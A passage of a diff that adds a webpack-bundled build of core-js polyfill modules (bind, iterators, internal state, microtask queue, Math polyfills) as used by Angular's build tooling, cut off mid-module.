"./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Object.isExtensible(Object.preventExtensions({})); +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-bind.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-bind.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var arraySlice = [].slice; +var factories = {}; + +var construct = function (C, argsLength, args) { + if (!(argsLength in factories)) { + for (var list = [], i = 0; i < argsLength; i++) list[i] = 'a[' + i + ']'; + // eslint-disable-next-line no-new-func + factories[argsLength] = Function('C,a', 'return new C(' + list.join(',') + ')'); + } return factories[argsLength](C, args); +}; + +// `Function.prototype.bind` method implementation +// https://tc39.github.io/ecma262/#sec-function.prototype.bind +module.exports = Function.bind || function bind(that /* , ...args */) { + var fn = aFunction(this); + var partArgs = arraySlice.call(arguments, 1); + var boundFunction = function bound(/* args... */) { + var args = partArgs.concat(arraySlice.call(arguments)); + return this instanceof boundFunction ? construct(fn, args.length, args) : fn.apply(that, args); + }; + if (isObject(fn.prototype)) boundFunction.prototype = fn.prototype; + return boundFunction; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('native-function-to-string', Function.toString); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var path = __webpack_require__(/*! ../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js"); +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); + +var aFunction = function (variable) { + return typeof variable == 'function' ? variable : undefined; +}; + +module.exports = function (namespace, method) { + return arguments.length < 2 ? aFunction(path[namespace]) || aFunction(global[namespace]) + : path[namespace] && path[namespace][method] || global[namespace] && global[namespace][method]; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ../internals/classof */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); + +module.exports = function (it) { + if (it != undefined) return it[ITERATOR] + || it['@@iterator'] + || Iterators[classof(it)]; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 +module.exports = typeof window == 'object' && window && window.Math == Math ? window + : typeof self == 'object' && self && self.Math == Math ? self + // eslint-disable-next-line no-new-func + : Function('return this')(); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js": +/*!******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js ***! + \******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var hasOwnProperty = {}.hasOwnProperty; + +module.exports = function (it, key) { + return hasOwnProperty.call(it, key); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = {}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); + +module.exports = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") ? function (object, key, value) { + return definePropertyModule.f(object, key, createPropertyDescriptor(1, value)); +} : function (object, key, value) { + object[key] = value; + return object; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/host-report-errors.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/host-report-errors.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); + +module.exports = function (a, b) { + var console = global.console; + if (console && console.error) { + arguments.length === 1 ? console.error(a) : console.error(a, b); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var document = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").document; + +module.exports = document && document.documentElement; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Thank's IE8 for his funny defineProperty +module.exports = !__webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") && !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Object.defineProperty(__webpack_require__(/*! ../internals/document-create-element */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js")('div'), 'a', { + get: function () { return 7; } + }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for non-array-like ES3 and non-enumerable old V8 strings +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var split = ''.split; + +module.exports = fails(function () { + // throws an error in rhino, see https://github.com/mozilla/rhino/issues/346 + // eslint-disable-next-line no-prototype-builtins + return !Object('z').propertyIsEnumerable(0); +}) ? function (it) { + return classof(it) == 'String' ? split.call(it, '') : Object(it); +} : Object; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var setPrototypeOf = __webpack_require__(/*! ../internals/object-set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js"); + +module.exports = function (that, target, C) { + var S = target.constructor; + var P; + if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) { + setPrototypeOf(that, P); + } return that; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var METADATA = __webpack_require__(/*! ../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js")('meta'); +var FREEZING = __webpack_require__(/*! ../internals/freezing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var id = 0; + +var isExtensible = Object.isExtensible || function () { + return true; +}; + +var setMetadata = function (it) { + defineProperty(it, METADATA, { value: { + objectID: 'O' + ++id, // object ID + weakData: {} // weak collections IDs + } }); +}; + +var fastKey = function (it, create) { + // return a primitive with prefix + if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it; + if (!has(it, METADATA)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return 'F'; + // not necessary to add metadata + if (!create) return 'E'; + // add missing metadata + setMetadata(it); + // return object ID + } return it[METADATA].objectID; +}; + +var getWeakData = function (it, create) { + if (!has(it, METADATA)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return true; + // not necessary to add metadata + if (!create) return false; + // add missing metadata + setMetadata(it); + // return the store of weak collections IDs + } return it[METADATA].weakData; +}; + +// add metadata on freeze-family methods calling +var onFreeze = function (it) { + if (FREEZING && meta.REQUIRED && isExtensible(it) && !has(it, METADATA)) setMetadata(it); + return it; +}; + +var meta = module.exports = { + REQUIRED: false, + fastKey: fastKey, + getWeakData: getWeakData, + onFreeze: onFreeze +}; + +__webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js")[METADATA] = true; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var NATIVE_WEAK_MAP = __webpack_require__(/*! ../internals/native-weak-map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var objectHas = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var sharedKey = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js"); +var hiddenKeys = __webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js"); +var WeakMap = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").WeakMap; +var set, get, has; + +var enforce = function (it) { + return has(it) ? get(it) : set(it, {}); +}; + +var getterFor = function (TYPE) { + return function (it) { + var state; + if (!isObject(it) || (state = get(it)).type !== TYPE) { + throw TypeError('Incompatible receiver, ' + TYPE + ' required'); + } return state; + }; +}; + +if (NATIVE_WEAK_MAP) { + var store = new WeakMap(); + var wmget = store.get; + var wmhas = store.has; + var wmset = store.set; + set = function (it, metadata) { + wmset.call(store, it, metadata); + return metadata; + }; + get = function (it) { + return wmget.call(store, it) || {}; + }; + has = function (it) { + return wmhas.call(store, it); + }; +} else { + var STATE = sharedKey('state'); + hiddenKeys[STATE] = true; + set = function (it, metadata) { + hide(it, STATE, metadata); + return metadata; + }; + get = function (it) { + return objectHas(it, STATE) ? it[STATE] : {}; + }; + has = function (it) { + return objectHas(it, STATE); + }; +} + +module.exports = { + set: set, + get: get, + has: has, + enforce: enforce, + getterFor: getterFor +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// check on default Array iterator +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var ArrayPrototype = Array.prototype; + +module.exports = function (it) { + return it !== undefined && (Iterators.Array === it || ArrayPrototype[ITERATOR] === it); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); + +// `IsArray` abstract operation +// https://tc39.github.io/ecma262/#sec-isarray +module.exports = Array.isArray || function isArray(arg) { + return classof(arg) == 'Array'; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var replacement = /#|\.prototype\./; + +var isForced = function (feature, detection) { + var value = data[normalize(feature)]; + return value == POLYFILL ? true + : value == NATIVE ? false + : typeof detection == 'function' ? fails(detection) + : !!detection; +}; + +var normalize = isForced.normalize = function (string) { + return String(string).replace(replacement, '.').toLowerCase(); +}; + +var data = isForced.data = {}; +var NATIVE = isForced.NATIVE = 'N'; +var POLYFILL = isForced.POLYFILL = 'P'; + +module.exports = isForced; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-integer.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-integer.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var floor = Math.floor; + +// `Number.isInteger` method implementation +// https://tc39.github.io/ecma262/#sec-number.isinteger +module.exports = function isInteger(it) { + return !isObject(it) && isFinite(it) && floor(it) === it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + return typeof it === 'object' ? it !== null : typeof it === 'function'; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = false; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-regexp.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-regexp.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var MATCH = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('match'); + +// `IsRegExp` abstract operation +// https://tc39.github.io/ecma262/#sec-isregexp +module.exports = function (it) { + var isRegExp; + return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : classof(it) == 'RegExp'); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isArrayIteratorMethod = __webpack_require__(/*! ../internals/is-array-iterator-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var getIteratorMethod = __webpack_require__(/*! ../internals/get-iterator-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js"); +var callWithSafeIterationClosing = __webpack_require__(/*! ../internals/call-with-safe-iteration-closing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js"); +var BREAK = {}; + +var exports = module.exports = function (iterable, fn, that, ENTRIES, ITERATOR) { + var boundFunction = bind(fn, that, ENTRIES ? 2 : 1); + var iterator, iterFn, index, length, result, step; + + if (ITERATOR) { + iterator = iterable; + } else { + iterFn = getIteratorMethod(iterable); + if (typeof iterFn != 'function') throw TypeError('Target is not iterable'); + // optimisation for array iterators + if (isArrayIteratorMethod(iterFn)) { + for (index = 0, length = toLength(iterable.length); length > index; index++) { + result = ENTRIES ? boundFunction(anObject(step = iterable[index])[0], step[1]) : boundFunction(iterable[index]); + if (result === BREAK) return BREAK; + } return; + } + iterator = iterFn.call(iterable); + } + + while (!(step = iterator.next()).done) { + if (callWithSafeIterationClosing(iterator, boundFunction, step.value, ENTRIES) === BREAK) return BREAK; + } +}; + +exports.BREAK = BREAK; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var IS_PURE = __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var BUGGY_SAFARI_ITERATORS = false; + +var returnThis = function () { return this; }; + +// `%IteratorPrototype%` object +// https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object +var IteratorPrototype, PrototypeOfArrayIteratorPrototype, arrayIterator; + +if ([].keys) { + arrayIterator = [].keys(); + // Safari 8 has buggy iterators w/o `next` + if (!('next' in arrayIterator)) BUGGY_SAFARI_ITERATORS = true; + else { + PrototypeOfArrayIteratorPrototype = getPrototypeOf(getPrototypeOf(arrayIterator)); + if (PrototypeOfArrayIteratorPrototype !== Object.prototype) IteratorPrototype = PrototypeOfArrayIteratorPrototype; + } +} + +if (IteratorPrototype == undefined) IteratorPrototype = {}; + +// 25.1.2.1.1 %IteratorPrototype%[@@iterator]() +if (!IS_PURE && !has(IteratorPrototype, ITERATOR)) hide(IteratorPrototype, ITERATOR, returnThis); + +module.exports = { + IteratorPrototype: IteratorPrototype, + BUGGY_SAFARI_ITERATORS: BUGGY_SAFARI_ITERATORS +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = {}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-expm1.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-expm1.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var nativeExpm1 = Math.expm1; + +// `Math.expm1` method implementation +// https://tc39.github.io/ecma262/#sec-math.expm1 +module.exports = (!nativeExpm1 + // Old FF bug + || nativeExpm1(10) > 22025.465794806719 || nativeExpm1(10) < 22025.4657948067165168 + // Tor Browser bug + || nativeExpm1(-2e-17) != -2e-17 +) ? function expm1(x) { + return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1; +} : nativeExpm1; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-fround.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-fround.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var sign = __webpack_require__(/*! ../internals/math-sign */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-sign.js"); +var pow = Math.pow; +var EPSILON = pow(2, -52); +var EPSILON32 = pow(2, -23); +var MAX32 = pow(2, 127) * (2 - EPSILON32); +var MIN32 = pow(2, -126); + +var roundTiesToEven = function (n) { + return n + 1 / EPSILON - 1 / EPSILON; +}; + +// `Math.fround` method implementation +// https://tc39.github.io/ecma262/#sec-math.fround +module.exports = Math.fround || function fround(x) { + var $abs = Math.abs(x); + var $sign = sign(x); + var a, result; + if ($abs < MIN32) return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32; + a = (1 + EPSILON32 / EPSILON) * $abs; + result = a - (a - $abs); + // eslint-disable-next-line no-self-compare + if (result > MAX32 || result != result) return $sign * Infinity; + return $sign * result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-log1p.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-log1p.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// `Math.log1p` method implementation +// https://tc39.github.io/ecma262/#sec-math.log1p +module.exports = Math.log1p || function log1p(x) { + return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-sign.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-sign.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// `Math.sign` method implementation +// https://tc39.github.io/ecma262/#sec-math.sign +module.exports = Math.sign || function sign(x) { + // eslint-disable-next-line no-self-compare + return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/microtask.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/microtask.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var getOwnPropertyDescriptor = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js").f; +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var macrotask = __webpack_require__(/*! ../internals/task */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/task.js").set; +var userAgent = __webpack_require__(/*! ../internals/user-agent */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/user-agent.js"); +var MutationObserver = global.MutationObserver || global.WebKitMutationObserver; +var process = global.process; +var Promise = global.Promise; +var IS_NODE = classof(process) == 'process'; +// Node.js 11 shows ExperimentalWarning on getting `queueMicrotask` +var queueMicrotaskDescriptor = getOwnPropertyDescriptor(global, 'queueMicrotask'); +var queueMicrotask = queueMicrotaskDescriptor && queueMicrotaskDescriptor.value; + +var flush, head, last, notify, toggle, node, promise; + +// modern engines have queueMicrotask method +if (!queueMicrotask) { + flush = function () { + var parent, fn; + if (IS_NODE && (parent = process.domain)) parent.exit(); + while (head) { + fn = head.fn; + head = head.next; + try { + fn(); + } catch (error) { + if (head) notify(); + else last = undefined; + throw error; + } + } last = undefined; + if (parent) parent.enter(); + }; + + // Node.js + if (IS_NODE) { + notify = function () { + process.nextTick(flush); + }; + // browsers with MutationObserver, except iOS - https://github.com/zloirock/core-js/issues/339 + } else if (MutationObserver && !/(iPhone|iPod|iPad).*AppleWebKit/i.test(userAgent)) { + toggle = true; + node = document.createTextNode(''); + new MutationObserver(flush).observe(node, { characterData: true }); // eslint-disable-line no-new + notify = function () { + node.data = toggle = !toggle; + }; + // environments with maybe non-completely correct, but existent Promise + } else if (Promise && Promise.resolve) { + // Promise.resolve without an argument throws an error in LG WebOS 2 + promise = Promise.resolve(undefined); + notify = function () { + promise.then(flush); + }; + // for other environments - macrotask based on: + // - setImmediate + // - MessageChannel + // - window.postMessag + // - onreadystatechange + // - setTimeout + } else { + notify = function () { + // strange IE + webpack dev server bug - use .call(global) + macrotask.call(global, flush); + }; + } +} + +module.exports = queueMicrotask || function (fn) { + var task = { fn: fn, next: undefined }; + if (last) last.next = task; + if (!head) { + head = task; + notify(); + } last = task; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Chrome 38 Symbol has incorrect toString conversion +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + // eslint-disable-next-line no-undef + return !String(Symbol()); +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js ***! + \******************************************************************************************************/ +/*! no static exports found 